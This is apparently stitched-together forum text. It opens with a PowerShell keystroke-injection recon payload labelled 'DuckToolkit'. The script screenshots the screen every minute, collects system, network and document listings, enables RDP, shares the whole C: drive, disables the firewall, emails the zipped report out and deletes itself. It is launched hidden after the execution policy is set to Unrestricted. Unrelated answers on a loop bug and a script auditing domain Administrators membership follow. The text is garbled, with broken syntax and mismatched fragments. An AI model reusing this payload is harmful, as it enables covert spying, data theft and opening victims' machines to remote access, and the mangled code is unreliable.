$Report = $Report + '<div id=center><h3> Installed Updates</h3>'
$Report = $Report + (Get-WmiObject Win32_QuickFixEngineering -ComputerName $env:COMPUTERNAME | sort-object -property installedon -Descending | ConvertTo-Html Description, HotFixId,Installedon,InstalledBy)
$Report = $Report + '</div>'
$Report = $Report + '<div id=center><h3> Installed Programs</h3> '
$Report = $Report + (Get-WmiObject -class Win32_Product | ConvertTo-html Name, Version,InstallDate)
$Report = $Report + '</table></div>'
$u = 0
$allUsb = #(get-wmiobject win32_volume | select Name, Label, FreeSpace)
$Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
do {
$gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
$Report = $Report + "<tr><td>Drive Name: </td><td> " + $allUsb[$u].Name + $allUsb[$u].Label + "</td><td>Free Space: </td><td>" + $gbUSB + "GB</td></tr>"
Write-Output $fullUSB
$u ++
} while ($u -lt $allUsb.Count)
$Report = $Report + '</table></div>'
$jpegSaveDir = New-Item $fileSaveDir'\Screenshots' -ItemType Directory
$x = 0
do { Start-Sleep -Seconds 60
$jpegName = (get-date).ToString('HHmmss')
$File = "$jpegSaveDir\$jpegName.bmp"
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save($File)
$x++ } while ($x -ne );
$Report = $Report + '<div id=center><h3>Network Information</h3>'
$Report = $Report + (Get-WmiObject Win32_NetworkAdapterConfiguration -filter 'IPEnabled= True' | Select Description,DNSHostname, #{Name='IP Address ';Expression={$_.IPAddress}}, MACAddress | ConvertTo-Html)
$Report = $Report + '</table></div>'
$Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'
$Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime)
$Report = $Report + '</div>'
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes
netsh advfirewall firewall set rule group='remote desktop' new enable=Yes
$Share = [WmiClass]'Win32_Share'
$Share.Create('C:\', 'netShare', 0)
netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
netsh advfirewall set allprofiles state off
$Report >> $fileSaveDir'/ComputerInfo.html'
function copy-ToZip($fileSaveDir){
$srcdir = $fileSaveDir
$zipFile = 'C:\Windows\Report.zip'
if(-not (test-path($zipFile))) {
set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
(dir $zipFile).IsReadOnly = $false}
$shellApplication = new-object -com shell.application
$zipPackage = $shellApplication.NameSpace($zipFile)
$files = Get-ChildItem -Path $srcdir
foreach($file in $files) {
$zipPackage.CopyHere($file.FullName)
while($zipPackage.Items().Item($file.name) -eq $null){
Start-sleep -seconds 1 }}}
copy-ToZip($fileSaveDir)
try {
$Sender = 'sender#gmail.com'
$Recipient = 'Recipient#email.com'
$pass = ConvertTo-SecureString 'Password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($sender.Split("#")[0], $pass)
Send-MailMessage -From $Sender -To $Recipient -Subject "DuckToolkit Report" -Body "Please find attached the DuckToolkit reconnaissance report." -SmtpServer "smtp.gamil.com" -UseSSL -credential $creds -Attachments "C:\Windows\Report.zip"}
catch {
break }
remove-item $fileSaveDir -recurse
remove-item 'C:\Windows\Report.zip'
Remove-Item $MyINvocation.InvocationName `
Ctrl+s
C:\Windows\config-85023.ps1
Enter
Windowsbutton+r
powershell Start-Process cmd -Verb runAs
Enter
powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
Enter
powershell.exe -windowstyle hidden -File C:\Windows\config-85023.ps1
Enter
while ($x -ne );
you have to match $X with something, you aren't doing that right now.
If you want to compare it with nothing, try ""
As the other answer, you have to match -ne. As you are trying to match to $null, a more powershell way of writing it would be to :
while (!$x);
I am trying to create a powershell script that:
Finds all computers in the domain
Queries each computer to determine what groups/users are in the Administrators group
Lists each user/group/computer
The columns should be: Username, GroupName, ComputerName, DomainName
Here's where I am at so far, but I'm looking for some help parsing the WMI results in a consistent fashion, or per
Here's the script so far:
$auditdir = "c:\temp\"
$tempfile = $auditdir + "computers.csv"
$computers = (Get-ADComputer -Filter *)
$Table = #()
$Record = #{
"MachineName" = ""
"GroupName" = ""
"DomainName" = ""
"Username" = ""
}
Foreach ($computername in $computers){
$computername = $computername.name
$ADMINS = get-wmiobject -computername $computername -query "select * from win32_groupuser where GroupComponent=""Win32_Group.Domain='$computername',Name='administrators'""" | % {$_.partcomponent}
foreach ($ADMIN in $ADMINS){
Write-Host "Output current admin"
$admin
Write-Host "Clean up current admin"
$admin = ($admin | Out-String)
$admin = $admin -replace 'cimv2', '' -replace 'Win32','' -replace 'useraccount','' -replace 'root','' -replace $computername,'' -replace ',','' -replace "`n|`r" -replace $env:userdomain,'' -replace 'name','' -replace '=','' -replace ':','' -replace '_','' -replace '\\','' -replace '_','' -replace 'group','' -replace '""',''
$admin.substring(8)
$admin
$admin = $admin | %{$_.split('"')[3]}
$admin
Write-Host "done with current admin"
$Record."Machinename" = $computername
$Record."Groupname" = $admin
$Record."DomainName" = $env:USERDNSDOMAIN
$Record."UserName" = $admin.split("")[1]
$objRecord = New-Object PSObject -property $Record
$Table += $objrecord
}
$Table | Export-Csv $tempfile -NoTypeInformation
}
Can someone please help me get to the finish line?
Update 1:
With Mathias's help, I've cast the results of the WMI query to a WMI type and can access items easier.
$auditdir = "c:\temp\"
$tempfile = $auditdir + "computers.csv"
$computers = (Get-ADComputer -Filter *)
$Table = #()
$Record = #{
"ComputerName" = ""
"MemberName" = ""
"DomainName" = ""
"SID" = ""
}
Foreach ($computername in $computers){
$computername = $computername.name
$ADMINS = get-wmiobject -computername $computername -query "select * from win32_groupuser where GroupComponent=""Win32_Group.Domain='$computername',Name='administrators'""" | % {$_.partcomponent}
foreach ($ADMIN in $ADMINS){
$admin = [WMI]$admin
$admin
$Record."ComputerName" = $computername
$Record."MemberName" = $admin.name
$Record."DomainName" = $env:USERDNSDOMAIN
$Record."SID" = $admin.SID
$objRecord = New-Object PSObject -property $Record
$Table += $objrecord
}
$Table | Export-Csv $tempfile -NoTypeInformation
}
I seem to be running into an issue with domain admins group. It can't seem to be converted to WMI and then parsed.
Error is:
Cannot convert value "\\computername\root\cimv2:Win32_Group.Domain="domain",Name="Domain Admins"" to type
"System.Management.ManagementObject". Error: "Not found "
At C:\Users\f12admin\Desktop\computerlist.ps1:20 char:3
+ $admin = [WMI]$admin
+ ~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvalidCastToWMI